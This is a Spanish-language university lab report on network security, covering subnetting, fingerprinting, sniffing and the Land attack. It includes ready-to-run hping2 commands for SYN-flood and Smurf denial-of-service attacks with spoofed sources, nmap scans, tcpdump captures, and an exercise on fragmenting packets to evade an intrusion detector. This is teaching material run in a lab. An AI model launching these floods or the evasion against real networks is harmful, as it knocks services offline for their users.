Aspectos Avanzados De Seguridad En Redes

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Deben llevar desarrolllados los ejercicios y realizar la explicación ante el grupo. Demostrar su funcionamiento y soportar la parte teórica del mismo o el significado de las herramientas y los procesos que están realizando. EJERCICIO DE UN SNIFFER COMO ETTERCAP PARA CAPTURAR CONVERSACIONES TCP COMO LAS CONTRASEÑAS DE CORREO: Denis Marianny Agudelo Fonseca, Nancy Carolina Machuca Saavedra. Fecha Octubre 31 de 2009.

EJERCICIO DE SIMULACION SOBRE PACKET TRACER CON LOS ESQUEMAS DE DIRECCIONAIENTO: (Mary Luz Granados, Jenny Paola Díaz, Edelmira Acuña). Fecha Octubre 31 de 2009. Realice los siquientes esquemas: 192.168.16.100/28 Utilice los últimos 10 nodos de la cuarta subnet utilizable de ese esquema. (En el simulador) La puerta de enlace será el primer nodo de la segunda subnet utilizable DNS1: Primer nodo de la tercera subnet utilizable DNS2: Ultimo nodo de la Primera subnet utilizable

Para cada uno de los siguientes esquemas realice: 1) 192.168.16.45/28 2) 190.254.56.146/29 3) 172.26.96.162/24 4) 172.28.9.229/24 5) 10.1.1.1/24 6) 200.21.200.2/29 7) 200.21.200.10/28 8) 194.25.50.100/27 9) 192.200.10.30/29 10)192.189.1.2/29 Direcciones de Subnet Broadcast Número de host disponibles Numero de subredes Subnet por defecto Broadcast por defecto Ubicación de la IP en la red Categoría a la que pertenece Muestre el desarrollo del ejercicio en binario. Y para llevarlos al simulador, una dos subnets en cada esquema. La segunda utilizabe de cada esquema y la antepenultima utilizabble. De cada subnets solo use cinco (05) estaciones de trabajo. Asigne las puertas de enlace y DNS que considere necesarias y viables.

1 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

EJERCICIO1: Diego Fernando Varcarcel Caro: Fecha Octubre 31 de 2009. 1.1 ¿Qué tipos de vulnerabilidades nos podemos encontrar en la capa de transporte? 1.2 Indica y explica en qué consisten las distintas herramientas de búsqueda de huellas identificativas. 1.3 Indica qué tipos de técnicas utilizan los escuchadores de red y cómo se puede evitar su uso. 1.4 Busca por Internet y explica con tus palabras qué es un “Land Attack”.

DESARROLLO. Ejercicio1 1.1

Las vulnerabilidades pretenden describir las debilidades y los métodos más comunes que se utilizan para perpetrar ataques a la seguridad de la familia de protocolos TCP/IP (confidencialidad, integridad y disponibilidad de la información). Éstos pueden provenir principalmente de dos fuentes: - Usuarios autentificados, al menos a parte de la red, como por ejemplo empleados internos o colaboradores externos con acceso a sistemas dentro de la red de la empresa. También denominados insiders. - Atacantes externos a la ubicación física de la organización, accediendo remotamente. También denominados outsiders. Amenazas Datos modificados Caballo de Troya Memoria cambiada Mensajes modificados transito)

Consecuencias INTEGRIDAD Información perdida Maquina penetrada Vulnerabilidad a otras amenazas (en

CONFIDENCIALIDAD Mensajes escuchados en la red Perdida de privacidad Datos robados de servidores Revela contraseñas etc. Análisis de trafico Identifica patrones de acceso Detecta configuración de la red Facilita otros ataques DENIAL OF SERVICE Procesos matados Molestias Inundación con paquetes Interferencia con trabajo Llenado de discos

2 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Aislamiento de maquinas (DNS) AUTENTIFICACION Identidades falsas Acciones atribuidas al usuario Datos falsos Daño al nombre institucional Las vulnerabilidades pueden clasificarse según dos criterios: - Número de paquetes a emplear en el ataque: Atomic: se requiere un único paquete para llevarla a cabo. Composite: son necesarios múltiples paquetes. - Información necesaria para llevar a cabo el ataque: Context: se requiere únicamente información de la cabecera del protocolo. Content: es necesario también el campo de datos o payload.

Context

Content

Ping of death Land attack WinNuke DNS attack Proxied RPC IIS attack Atomic

Port scan SYN Flood TCP hijacking SMTP attacks String matches Sniffing Composite

1.2 La utilización de estas técnicas se conoce con el nombre de fingerprinting, es decir, obtención de la huella identificativa de un sistema o equipo conectado a la red. Una técnica específica que permite extraer información de un sistema concreto es el fingerprinting es decir, la obtención de su huella identificativa respecto a la pila TCP/IP. El objetivo primordial suele ser obtener el sistema operativo que se ejecuta en la máquina destino de la inspección. Esta información junto con la versión del servicio o servidor facilitará la búsqueda de vulnerabilidades asociadas al mismo. Gran parte de la información de la pila TCP/IP puede obtenerse en base al intercambio en tres pasos propio del protocolo TCP/IP (TCP three-way handshake) La probabilidad de acierto del sistema operativo remoto es muy elevada, y se basa en la identificación de las características propias de una implementación de la pila TCP/IP frente a otra, ya que la interpretación de los RFCs no concuerda siempre. Para poder aplicar esta técnica con precisión es necesario disponer de un puerto abierto (TCP y/o UDP).

3 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Las diferentes pruebas a realizar para diferenciar los sistemas operativos son: -

FIN probe: Al enviarse un paquete de FIN el sistema remoto no debería responder unque implementaciones como la de Windows NT devuelven un FIN-ACK.

-

Bogus flag probe: Se activa un flag TCP aleatorio en un paquete SYN. La respuesta de implementaciones como Linux devuelven un SYN-ACK con el mismo flag activo.

- ISN sampling: Pretende encontrarse un patrón empleado por la implementación para seleccionar los números iniciales de secuencia (ISN) de una conexión TCP. - Monitorización del “Don´t fragment bit”: Se analiza si el sistema operativo establece por defecto el bit de no fragmentación (DF) como activo o no. - Tamaño de ventana TCP inicial: El tamaño de ventan empleado por defecto en cada implementación es muy particular y ayuda a descubrir de cual puede tratarse. - Valor de ACK: El valor del número de secuencia asignado en el campo ACK diferencia también la implementación, ya que algunas devuelven el valor recibido como número de secuencia mientras que otras lo incrementan en uno. - Mensaje de error de ICMP quenching: El RFC 1812 determina que el control de flujo de mensajes de error debe limitarse. Al enviar un paquete UDP a un número elevado de puerto, aleatoriamente, se puede medir el número de mensajes de tipo unreachable por unidad de tiempo. - ICMP message quoting: Los comentarios añadidos a los mensajes de error ICMP varían en función del sistema operativo. - Mensajes de error ICMP-integridad: Las cabeceras IP pueden ser alteradas por las diferentes implementaciones al devolver mensajes de error ICMP. Un análisis exhaustivo de los cambios en las cabeceras puede permitir determinar el S.O. - TOS (Tipo de Servicio): Ante los mensajes “ICMP port unreachable” puede examinarse el campo TOS, que suele ser cero pero puede variar. - Gestión de la fragmentación [ El manejo de los paquetes fragmentados que se superponen es gestionado de forma particular por cada pila: al reensamblar los fragmentos, algunas sobrescriben los datos más antiguos con los nuevos y viceversa. - Opciones TCP: Los RFCs 793 y 1323 definen las opciones TCP posibles. Mediante el envío de paquetes con muchas opciones avanzadas activas (no operation, MSS, Window

4 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

scale factor, timestamps...) puede descubrirse el comportamiento de cada S.O. Dos de las herramientas que facilitan esta tarea son NMAP y QUESO. Mientras que la funcionalidad de la primera es muy amplia, la segunda sólo se aplica a la aplicación de esta técnica (identificación de sistemas a través del comportamiento de la pila TCP/IP). Dentro de las técnicas de identificación de un sistema existen otras, denominadas pasivas, que no se basan en enviar paquetes al sistema a atacar. Para ello monitorizan el tráfico asociado al sistema y en función de los atributos y características de los paquetes, principalmente de las cabeceras TCP, determinan su origen. 1.3 TECNICAS UTILIZADAS: Sniffers: que se encargan de capturar e interpretar tramas y datagramas mediante aplicaciones en entornos de red basados en difusión. Un sniffer no es más que un sencillo programa que intercepta toda la información que pase por la interfaz de red a la que esté asociado. Una vez capturada, se podrá almacenar para su análisis posterior. Sniffing: consiste en que sin necesidad de acceso a ningún sistema de la red, un atacante podrá obtener información sobre cuentas de usuario, claves de acceso o incluso mensajes de correo electrónico en el que se envían estas claves. La forma más habitual de realizar técnicas de sniffing en una red, probablemente porque está al alcance de todo el mundo, es la que podríamos denominar sniffing software, utilizando las aplicaciones que ya mencionadas. Niffing: también se conocen como técnicas de eavesdropping y técnicas de snooping. La primera, eavesdropping, es una variante del sniffing, caracterizada por realizar la adquisición o intercepción del tráfico que circula por la red de forma pasiva, es decir, sin modificar el contenido de la información. Por otra parte, las técnicas de snooping se caracterizan por el almacenamiento de la información capturada en el ordenador del atacante, mediante una conexión remota

5 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

establecida durante toda la sesión de captura. En este caso, tampoco se modifica la información incluida en la transmisión. COMO SE PUEDEN EVITAR LOS ATAQUES: Una solución para evitar esta técnica consiste en la segmentación de la red y de los equipos mediante el uso de conmutadores (switches). Al segmentar la red y los equipos, el único tráfico que tendrían que ver las máquinas sería el que les pertenece, puesto que el conmutador se encarga de encaminar hacia el equipo únicamente aquellos paquetes destinados a su dirección MAC

1.1 Con tus palabras qué es un “Land Attack”. Ç Un ataque LAND se realiza al enviar un paquete TCP/SYN falsificado con la dirección IP del servidor objetivo como si fuera la dirección origen y la dirección destino a la vez, además de usar un puerto abierto TCP, tanto de destino como de origen. Las consecuencias son: Que el servidor piense o responda a sí mismo ciontinuamente hasta colapsar. Como evito el ataque LAND: La mayoría de los firewalls deberían interceptar el paquete malicioso. Adicionalmente routers deberían ser configurados con filtros tanto de entrada como de salida, para bloquear tráco donde la dirección IP origen se encuentra en el mismo espacio de direcciones que la dirección destino. Algunos sistemas operativos han generado actualizaciones para específicamente cubrir este problema de seguridad. EJERCICIO2: Diego Fernando Varcarcel Caro: Fecha Octubre 31 de 2009. 2.1 Supón que en una red hay un dispositivo que detecta ataques al servicio HTTP analizando el argumento de la petición GET, pero no recompone los paquetes fragmentados. ¿Qué tamaño de MTU deberíamos utilizar para ocultar al máximo los argumentos? DESARROLLO:

6 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Con unas cabecera IP y TCP de 20 y 32 bytes de longitud respectivamente, cogiendo un tamaño de fragmento de 52 bytes nos aseguramos de que en el primer fragmento no aparece información del protocolo de nivel de aplicación http. Este tamaño de fragmento cumple el requisito de que el tamaño del campo de datos de la trama IP es múltiple de 8. Como tenemos fragmentos de 52 bytes, deberíamos tener una MTU ≥ 52 (en la práctica, no existen redes con MTU menor de 68).

2.2 Dibuja la estructura de todos los fragmentos que resultarán de la comunicación del siguiente datagrama IP - una petición HTTP - a través de una red con la MTU indicada anteriormente, detallando el valor de los campos de la cabecera relacionados con la fragmentación (offset, longitud y bit de más fragmentos).

DESARROLLO

7 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

8 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

9 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

EJERCICIO3 : Diego Joya, Milton Alfonso, Patricia Cañaveral, Nelcy Rodríguez. Sábado 14 de Noviembre de 2009. En este ejercicio realizarás varios tipos de ataques de denegación de servicio -DoS-, haciendo uso únicamente de la herramienta hping3, disponible http://www.hping.org/ o también disponible en la distro de BackTrack. Puedes encontrar información sobre la instalación en http://www.hacktoolrepository.com/tool.pl?tid=8&toolname=hping donde hay scripts. 3.1 Arranca un servicio HTTP en el puerto 80 de vuestro equipo. Haz una inundación SYN (SYN Flooding) de datagramas TCP al servicio arrancado, falseando la dirección origen de forma aleatoria en cada petición. Indica la instrucción utilizada, explica los parámetros utilizados, muestra la captura y explica las tramas (que puedes obtener mediante el Ethereal o Wireshark). 3.2 Haz ahora un ataque Smurf (ICMP de tipo echo-request) utilizando la dirección localhost (127.0.0.1) como origen y vuestra IP como destino. Como en el caso anterior, indica la instrucción utilizada, explica los parámetros utilizados, muestra la captura y explica las tramas. 3.3 Realiza un ataque de Snork sobre vuestro equipo jugando con los puertos del servicio Chargen y echo en UDP. Indica la instrucción que aplicas y, tanto si el ataque tiene éxito como si no, explica los parámetros, muestra la traza y explica el resultado. 3.4 En caso de que el ataque anterior no haya tenido éxito, pon operativos los servicios Charge y Echo y verifica que no haya cortafuegos activos en el equipo. ¿Cómo arrancas el servicio? Vuelve a repetir el ejercicio anterior. ¿Qué resultado obtienes y por qué? 3.5 Ejecuta ahora la instrucción localhost –s 7 –p 19 –c 1 –d 8 –a localhost Captura las trazas y explica el tráfico capturado. Con esta instrucción, ¿sería posible hacer un ataque Snork? ¿Por qué? Se supone que los servicios están operativos, no hay cortafuegos ni paquetes de seguridad específicos. DESARROLLO

3.1 Ataque SYN Flooding Para este ejercicio, lo aplique en los equipos de la empresa con el siguiente esquema.

10 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

172.26.96.97 /24 Dirección IP Fija Debian Lenny Linux PC Atacado

172.26.96.27/2 4 Linux Ubuntu 810

Atacante

172.26.96.162/24 Windows Server 2003 Asigna DHCP y controla Dominio Router 172.26.96.241

El ataque TCP/SYN Flooding se basa en no completar intencionalmente el protocolo de intercambio TCP para inundar la cola de espera. La victima se queda esperando por establecer un servicio pues el atacante no responde con ACK los SYN/ACK de la victima, Esto ocurre hasta saturar los recursos de memoria y así consigue la denegación de servicios de la víctima. La denegación de servicios se da por que el sistema esta a la espera de que baje el umbral que generalmente es 1 minuto para aceptar mas conexiones, cada conexión generada por un SYN, tienen un temporizador de 1 minuto, cuando se excede el limite de tiempo o umbral, se libera la memoria que mantiene el estado de la conexión y la cuenta de la cola de servicios se disminuye en 1. El atacante debe usar un IP falso para que no le hagan seguimiento a las conexiones.

11 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Diagrama del ataque TCP/SYN Flooding ORIGEN

DESTINO

IP=1.2.3.4 → SYN

IP=172.26.96.97

IP=1.2.3.4 ← SYN/ACK

IP=172.26.96.97

Nunca responde con ACK

El IP=172.26.96.97 guarda en la cola la petición de conexión por 1 minuto

Se repite la secuencia de requerimiento

El IP=172.26.96.97 se satura por tanto requerimiento encolado y ocurre el DoS

Cualquier IP cliente pide servicio al servidor

El IP=172.26.96.97 no puede atender requerimientos pues esta en medio de un ataque DoS. Solamente cuando cese el ataque automáticamente se atienden los requerimientos de los clientes

12 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

PROCEDIMIENTO: La instrucción del ataque es así: # hping2 172.26.96.97 –-rand-source –S –-destport 80 –-faster --debug –w 2048

DESCRIPCION DE LOS PARAMETROS: PARAMETRO

DESCRIPCION

172.26.96.97

IP de la Victima

--rand-source

IP ficticio o spoofed, se genera aleatorio, la idea es que no exista en la red, al no existir este no responde y así el atacante pasa inadvertido

--debug

Muestra cada intento

-S

Indica el flag “S” o SYN para solicitar un servico

--destport

Indica el servicio requerido, es clave que este servicio este habilitado en la victima

13 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

--faster

Hace el intento de envio de SYN lo mas rápido que se pueda

.w 2048

La ventana de envío máximo será de 2048

Ahora pruebe enviando mas paquetes por segundo y observe # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu1000000, para 1 paquete por segundo # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu500000, para 2 paquetes por segundo # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu333333, para 3 paquetes por segundo (*) # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu250000, para 4 paquetes por segundo (*) # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu200000, para 5 paquetes por segundo (*)

el rendimiento: --debug –w 2048 --debug –w 2048 --debug –w 2048 --debug –w 2048 --debug –w 2048

¿Que requisitos deben cumplirse para que el ataque sea efectivo? Si el servidor esta blindado con un firewall que sea stateful entonces el servidor víctima será capaz de revisar las sesiones y se dará cuenta del ataque en curso. Esto hará que el ataque fracase. Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo. CAPTURA EN LA VÍCTIMA: La configuración de red de la víctima es:

14 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Se abrió un servicio por el puerto 80: Mi página web http://amayac.iespana.es

“NOTESE, que no cargo completamente, ya que cuando se lanzó el ataque desde la 172.26.96.27, no se completó el servicio.

15 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Las capturas por Wireshark fueron las siguientes:

Aca se observa una apertura normal de paquetes y servicios con solicitudes al puerto 80. La solicitud la hace la máquina víctima 172.26.96.97 a un DNS amayac.iespana.es con respuesta.

16 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

En ele momento de presentar el ataque, se observa la petición por parte del atacante quién pregunta por 172.26.96.97. Se empieza a observar la inundación de paquetes SYN con la intención de complementar el protocolo. Luego se observa que se llega al límite al generar cada paquete un SYN/ACK cuando se llena el tamaño del bufer que almacena las peticiones.

17 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Se observa finalmente la cantidad de peticiones y de tramas del protocolo sin terminar. 3.2 Ataque Smurf El ataque "Smurf" pertenece a la familia de ataques conocidos como Denial of Services (DoS), los cuales tienen como objetivo principal dejar fuera de servicio a la máquina que se ataca. Es una variante del ataque IP Flooding. El algoritmo general del ataque “Smurf” es el siguiente:

18 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

ELEMENTOS NECESARIO PARA REALIZAR EL ATAQUE: Resumo para este ejercicio de la PEC que “Smurf” maneja tres elementos diferentes que trabajando entre si generan el ataque, estos son: Uso de ICMP (Internet Control Messaging Protocol), normalmente de la misma manera que el ping. El propósito original de este protocolo es el de enviar y retornar mensajes de error, en particular "ping" chequea que una máquina específica este viva. IP (Internet Protocol), el cual es usado por los usuarios para enviar cualquier paquete/mensaje en Internet. Por ejemplo se pueden enviar paquetes a una "dirección broadcast". Cambio de dirección origen, se manipula el encabezado del paquete ICMP cambiando la dirección origen del mismo para que de esta manera las respuestas se generen hacia dicha dirección. INTERPRETACIÓN CON UN EJEMPLO: Si por ejemplo, una persona logra ejecutar un ataque "smurf" por intermedio de una red (con su IP broadcast habilitado) que tiene 40 computadores, un solo mensaje ping creará 40 de respuesta . Que los recibirá la víctima. COMPONENTES DEL ATAQUE

19 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

El ataque "smurf" tiene tres componentes principales: 1 El Atacante: es la persona que crea los paquetes ICMP con la IP fuente falsa y lanza el ataque. 2 El Intermediario: la red amplificadora del paquete ICMP con su direccionamiento broadcast habilitado. 3 La Víctima: su dirección IP ha sido suplantada para que las respuestas ICMP sean enviadas a ella. Se debe anotar que el intermediario también puede convertirse en víctima. QUE NECESITE PARA HACER EL ATAQUE: Deben existir varias maquinas en la red de tal forma que todas respondan con icmp-reply a la víctima hasta inundarla. Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo. Para ello, arme una red local con cuatro (4 equipos). Cumpliendo algunas fases previas como las que se recomiendan para empezar ha realizar un ataque. Como la de capturar información.

10.1.1.5/24 Knoppix STD 0.1

10.1.1.4/2 4 Windows XP Router ADSL 524B Dlink 10.1.1.1 Gateway Asugna direcciones por DHCP a la LAN

Intern et

10.1.1.3/2 4 Windows XP 10.1.1.2/24 Ubuntu 8.10 Equipo Victima

Con nmap verifico o descubro las direcciones ip activas: root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24

20 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:51 COT Host 10.1.1.1 appears to be up. MAC Address: 00:1C:F0:73:D6:97 (D-Link) Host 10.1.1.2 appears to be up. Host 10.1.1.3 appears to be up. MAC Address: 00:1D:72:6A:E0:5C (Wistron) Host 10.1.1.4 appears to be up. MAC Address: 00:50:DA:D6:BA:20 (3com) Host 10.1.1.5 appears to be up. MAC Address: 00:50:04:82:0C:B0 (3com) Nmap done: 256 IP addresses (5 hosts up) scanned in 6.128 seconds root@carlosubuntu:/home/carlos# Me arroja un resultado de cinco (5) hots. Es decir incluye al router También verifique los sistemas operativos que tenían los hosts de la red Ejemplo para el host con la dirección 10.1.1.3 root@carlosubuntu:/home/carlos# nmap -O 10.1.1.3 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:54 COT Interesting ports on 10.1.1.3: Not shown: 1710 closed ports PORT STATE SERVICE 21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:1D:72:6A:E0:5C (Wistron) Device type: general purpose Running: Microsoft Windows XP OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3 Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.725 seconds root@carlosubuntu:/home/carlos# Y para el host que destine como victima el Ubuntu 8.10

21 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

root@carlosubuntu:/home/carlos# nmap -O 10.1.1.2 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:55 COT Interesting ports on 10.1.1.2: Not shown: 1709 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 902/tcp open iss-realsecure 5900/tcp open vnc 8000/tcp open http-alt 8009/tcp open ajp13 Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.17 - 2.6.23 Uptime: 0.312 days (since Sun Mar 14 14:26:35 2009) Network Distance: 0 hops OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.702 seconds root@carlosubuntu:/home/carlos# ATAQUE La víctima es el equipo Ubuntu 8.10 con l dirección ip 10.1.1.2. la dirección de broadcast de la red es 10.1.1.255 root@carlosubuntu:/home/carlos# ifconfig eth0 Link encap:Ethernet HWaddr 00:a0:d1:9b:b4:56 inet addr:10.1.1.2 Bcast:10.1.1.255 Mask:255.255.255.0 inet6 addr: fe80::2a0:d1ff:fe9b:b456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:85146 errors:0 dropped:4 overruns:0 frame:0 TX packets:84610 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:94913189 (94.9 MB) TX bytes:8073180 (8.0 MB) Interrupt:16 Usando la herramienta ‘hping2’ que lance desde el equipo con Knoppix STD 0.1, el cual instalé con el DVD que sumnistro la UOC. Instalado localmente en un disco duro destinado para ello, es decir no en modo live cd.

22 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

La instrucción para el ataque se ejecuto así: # hping2 10.1.1.255 --spoof 10.1.1.2 --icmp –C --icmp-request –y –V –d 56 ESTA FUE LA QUE REALICE root@kstd:~# hping2 10.1.1.255 --spoof 10.1.1.2 --icmp -C --icmp-request -y -V -d 56 using eth0, addr: 10.1.1.5, MTU: 1500 HPING 10.1.1.255 (eth0 10.1.1.255): icmp mode set, 28 headers + 56 data bytes --- 10.1.1.255 hping statistic --215 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms root@kstd:~# root@kstd:~#

INTERPRETACION DEL COMANDO: Investigando y aplicando, esto fue lo que encontré para poder explicar el comando aplicado para este ejercicio de la PEC:

PARAMETRO

DESCRIPCION

10.1.1.255

Red que se usara como medio para atacar a la maquina, es el campo destino del paquete IP, el objetivo es hacerle echo-request a cada una de las maquinas de la red.

-spoof 10.1.1.2

Ip de la maquina a atacar, campo de la IP fuente del paquete IP, a esta IP las maquinas de la red le enviaran un icmp-reply hasta saturarla y colapsarla.

--icmp

Indica el protocolo que se usara, en este caso es icmp

-C o --icmp-request

Indica el tipo de paquete ICMP, para este caso icmp- request que es el defecto

-y

Indica que no fragmente los paquetes

-V

Muestra información adicional de lo que está ocurriendo

-d 56

Tamaño de los datos a enviar. 56 es el estandar del tamaño ping

23 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

El sniffer me capturo estos paquetes en la maquina atacada root@carlosubuntu:/home/carlos# tcpdump -i eth0

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 22:16:53.234983 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1024, length 64 22:16:53.235562 IP carlosubuntu.local.45325 > 10.1.1.1.domain: 40365+ PTR? 255.1.1.10.in-addr.arpa. (41) 22:16:53.267260 IP 10.1.1.1.domain > carlosubuntu.local.45325: 40365 NXDomain* 0/1/0 (97) 22:16:53.368115 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:54.234942 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1280, length 64 22:16:54.376116 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:55.234951 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1536, length 64 22:16:56.234954 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1792, length 64 22:16:56.380097 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:57.234961 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2048, length 64 22:16:58.234969 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2304, length 64 22:16:58.272146 IP carlosubuntu.local.45125 > 10.1.1.1.domain: 15729+ PTR? 2.1.1.10.in-addr.arpa. (39) 22:16:58.305000 IP 10.1.1.1.domain > carlosubuntu.local.45125: 15729 NXDomain* 0/1/0 (95) 22:16:58.408106 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 2.1.1.10.in-addr.arpa. (39) 22:16:58.408248 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0*- [0q] 1/0/0 (Cache flush) PTR[|domain] 22:16:58.408593 IP carlosubuntu.local.37551 > 10.1.1.1.domain: 54572+ PTR? 1.1.1.10.in-addr.arpa. (39) 22:16:58.439042 IP 10.1.1.1.domain > carlosubuntu.local.37551: 54572 NXDomain* 0/1/0 (95) 22:16:58.544088 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:16:59.234978 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2560, length 64 22:16:59.548100 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:17:00.234992 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2816, length 64 22:17:01.234992 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3072, length 64 22:17:01.552099 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:17:02.234993 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3328, length 64 22:17:03.235002 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3584, length 64 22:17:03.444206 IP carlosubuntu.local.51050 > 10.1.1.1.domain: 21964+ PTR? 251.0.0.224.in-addr.arpa. (42) 22:17:03.674842 IP 10.1.1.1.domain > carlosubuntu.local.51050: 21964 NXDomain 0/1/0 (100) 22:17:03.776094 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:04.235016 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3840, length 64 22:17:04.784116 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:05.235016 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4096, length 64 22:17:06.235028 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4352, length 64 22:17:06.788118 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:07.235019 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4608, length 64 22:17:08.235060 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4864, length 64 22:17:09.235039 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5120, length 64 22:17:10.235157 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5376, length 64 22:17:11.235057 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5632, length 64 22:17:12.235058 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5888, length 64 22:17:13.235056 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 6144, length 64 22:17:14.235080 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 6400, length 64

PARA AUMENTAR Ahora probe enviando mas paquetes por segundo y observe el rendimiento:

